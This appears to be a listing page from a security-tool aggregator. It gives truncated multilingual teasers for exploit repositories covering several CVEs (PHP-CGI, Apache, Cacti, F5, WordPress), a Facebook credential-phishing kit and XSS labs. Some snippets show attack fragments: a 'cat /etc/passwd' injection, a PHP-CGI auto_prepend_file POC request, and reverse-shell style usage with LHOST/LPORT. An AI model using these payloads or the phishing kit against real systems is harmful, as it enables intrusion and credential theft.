CVE-2019-20085

📂 CVE-2019-20085 – TVT NVMS-1000 目录遍历漏洞利用工具 By Z3R0 作者： Z3R0 CVE： CVE-2019-20085 目标： TVT NVMS-1000（补丁发布前的所有已知版本） 漏洞类型： 未认证目录遍历 日期： 请填写你的发布日期 🔍 漏洞概述 TVT 的 NVMS-1000 软件在其 Web 服务器组件中存在一个目录遍历漏洞。通过发送使用 /.. 序列精心构造的 GET 请求，未认证的攻击者可以访问 底层操作系统上的任意文件 ，包括敏感配置文件、密码哈希或系统密钥。 ⚠️ 受影响软件 产品： TVT NVMS-1000 版本：...

CVE-2019-9978

CVE-2019-9978 - RCE en el Plugin Social Warfare de WordPress system'cat /etc/passwd' ✅ Paso 2 – Iniciar un Servidor HTTP de Python...

fb-phisher-python

Facebook钓鱼 原作者 ：Arslan Mughal 提供者 ：arjunindia 原始仓库 ：https://github.com/arslanmughal5566/facebookphishing 关于脚本： 通过该脚本，你可以利用一些社会工程学技巧窃取Facebook登录凭据。 要求： 1：Python3.x 2：Flask 安装Flask：打开终端并输入以下命令： user@repo pip3 install flask 确保在安装flask之前已经安装了python 3，如果你使用的是Windows或macOS，请先下载并安装python3 使用方法：...

CVE-2017-14263

HoneywellNVRvul CVE-2017-14263 xfuturesec Co., Ltd First, obtain the SessionID for a guest user. We can find the SessionID from any http request. Such as: POST https://192.168.1.104/RPC2 HTTP/1.1 Accept: text/javascript, text/html, application/xml, text/xml X-Requested-With: XMLHttpRequest...

CVE-2026-60137

wpsqli - WordPress SQLi Extractor CVE-2026-60137 A fast, menu-driven database extraction tool exploiting the authornotin SQL injection vulnerability in WordPress core. This tool focuses purely on database enumeration and dumping, utilizing the REST batch route confusion CVE-2026-63030 to reach th...

CVE-2024-4577

CVE-2024-4577，PHP-CGI 中的参数注入漏洞 root@kitploit: ./CVE-2024-4577.sh /path/to/domains-list POC： root@kitploit: POST /test.hello?%ADd+allowurlinclude%3d1+%ADd+autoprependfile%3dphp://input HTTP/1.1 Host: host User-Agent: curl/8.3.0 Accept: / Content-Length: 23 Content-Type:...

adobe-flash-cve2018-15982

Adobe Flash CVE-2018-15982 Este script crea un payload swf para CVE-2018-15982, basado en el PoC de https://github.com/smgorelik/Windows-RCE-exploits. La vulnerabilidad fue descubierta por Chenming Xu y Ed Miles de Gigamon ATR. La vulnerabilidad es un fallo de use-after-free que permite la...

CVE-2022-36804

CVE-2022-36804 - Vulnerabilidad de Inyección de Comandos en Atlassian Bitbucket Server y Data Center ⚠️ Solo con fines educativos y de investigación de seguridad autorizada Autores del Exploit Original Muy agradecido al autor original del PoC Walnut Security Services Pvt. Ltd Descripción Varios...

Log4j-Vulnerability

Vulnerabilidad Log4j Tutorial: https://youtu.be/PNDBjoT83zA Tutorial: https://cryptodeeptech.ru/log4j-vulnerability Antecedentes de Log4j El equipo de seguridad de Alibaba Cloud reveló públicamente una vulnerabilidad crítica CVE-2021-44228 que permite la ejecución remota de código sin autenticaci...

CVE-202122986-EXP

F5 BIG-IP Vulnerabilidad de ejecución remota de comandos CVE-2021-22986 Impacto de la vulnerabilidad F5 BIG-IP 16.x: 16.1.0.3 F5 BIG-IP 15.x: 15.1.0.4 F5 BIG-IP 14.x: 14.1.2.6 F5 BIG-IP 13.x: 13.1.3.4 F5 BIG-IP 12.x: 12.1.5.2 F5 BIG-IP 11.x: 11.6.5.2 fofa iconhash="-335242539" POC root@kitploit:...

CVE-2022-46169-Cacti-1.2.22

CVE-2022-46169 Este exploit es una versión modificada del script original de @FredBrave y adaptada por @arthurcortesr y @alv-david. Uso/Ejemplos root@kitploit: python3 CVE-2022-46169.py -u http://XX.XX.XX.XX --LHOST XX.XX.XX.XX --LPORT XXXX --host-id X --local-id X Resultados esperados...

CVE-2022-37042

CVE-2022-37042 Usage 查看漏洞信息。 root@kitploit: go run main.go -s / / | / / / | \ / \ | \ | / / / // /| \ / / | | / / // // / / // // / / / / / / / // // / / / | |/ / /// // // / // /// / / / // / / / / |// ///// // /// // // @0xf4n9x WRN Use with caution. You are responsible for your actions. WRN...

the-book-of-secret-knowledge

"知识就是力量，请谨慎使用！ " 一系列鼓舞人心的清单、手册、速查表、博客、黑客技巧、一行命令、CLI/Web 工具等。 📔 它是什么？ 这个仓库是我日常工作中使用的各种材料和工具的合集。它汇集了大量有用的信息，是一个宝贵的知识来源，我经常翻阅。 🚻 适合谁？ 实际上适合所有人。每个人都能在这里找到自己感兴趣的内容。但坦白说，它主要面向系统和网络管理员、DevOps、渗透测试人员以及安全研究人员。 ℹ️ 贡献 如果你发现任何不合理或不对劲的地方，请提交一个 pull request，并附上有效且理由充分的解释或评论。 本项目有一些简单的规则： 友好且清晰 不令人疲倦 有用...

CVE-2021-31166-Exploit

CVE-2021-31166-Exploit 针对MS HTTP协议栈RCE漏洞（CVE-2021-31166）的利用程序 精心构造的HTTP请求指向存在漏洞的Windows版本将导致DOS攻击。服务器将以蓝屏错误重启。 Http.sys是Windows内核驱动程序，负责处理HTTP请求并构造响应。 此存在漏洞的http.sys驱动程序无法处理特制的"Accept-Encoding"头部，导致崩溃，进而服务器重启。 在蓝屏上，我们可以看到错误信息"停止代码: KERNEL SECURITY CHECK FAILED" 这是一个严重漏洞，CVSS评分为9.8，易于利用。...

CVE-2024-34102-CosmicSting-XXE-in-Adobe-Commerce-and-Magento

CosmicSting: vulnerabilidad crítica de XXE sin autenticación en Adobe Commerce y Magento CVE-2024-34102 CVE-2024-34102 es una grave falla de seguridad que surge del manejo inadecuado de la deserialización anidada en Adobe Commerce y Magento. Esta vulnerabilidad permite a los atacantes explotar...

cve-2020-11060-poc

CVE-2020-11060 此脚本是基于 Python 3.x 的漏洞利用程序，针对 GLPI 0.85-9.4.5 版本中的 CVE-2020-11060 漏洞。 原始实现：0xdreadnaught Python3 重构：n3rada ExploitDB 上的原始 PoC 现已弃用，因为它使用了 Python 2.x。新版本已提交，若被接受，将在本处添加链接。 构建这些 PoC 时所使用的原始漏洞研究由 AlmondOffSec 完成，可在此处找到：链接。 用法 root@kitploit: python3 CVE-2020-11060.py --url 'http://'...

CVE-2023-0264

PoC para CVE-2023-0264 Vulnerabilidad de Keycloak que permite el secuestro de sesión durante el flujo de código de autorización Ver https://github.com/advisories/GHSA-9g98-5mj6-f9mv Requisitos previos Docker curl jq python3 u otra herramienta para servir archivos estáticos en HTTP Pasos para...

CVE-2021-41773

Exploit de RCE tanto para Apache 2.4.49 CVE-2021-41773 como para 2.4.50 CVE-2021-42013: En mi humilde opinión, solo las configuraciones "especiales" serán vulnerables a este RCE. Lo mismo ocurre con los exploits de "lectura arbitraria de archivos" que has visto. Ambos CVE son en realidad casi la...

0l4bs

0l4bs Cross-site scripting labs for web application security enthusiasts List of Chall : root@kitploit: Chall 1 | URL Chall 2 | Form Chall 3 | User-Agent Chall 4 | Referrer Chall 5 | Cookie Chall 6 | LocalStorage Chall 7 | Login Page Chall 8 | File Upload Chall 9 | Base64 Encoding Chall 10 |...

0l4bs

0l4bs 面向 Web 应用安全爱好者的跨站脚本实验室 挑战列表： root@kitploit: Chall 1 | URL Chall 2 | Form Chall 3 | User-Agent Chall 4 | Referrer Chall 5 | Cookie Chall 6 | LocalStorage Chall 7 | Login Page Chall 8 | File Upload Chall 9 | Base64 Encoding Chall 10 | Removes Alert Chall 11 | Removes Script Chall 12 |...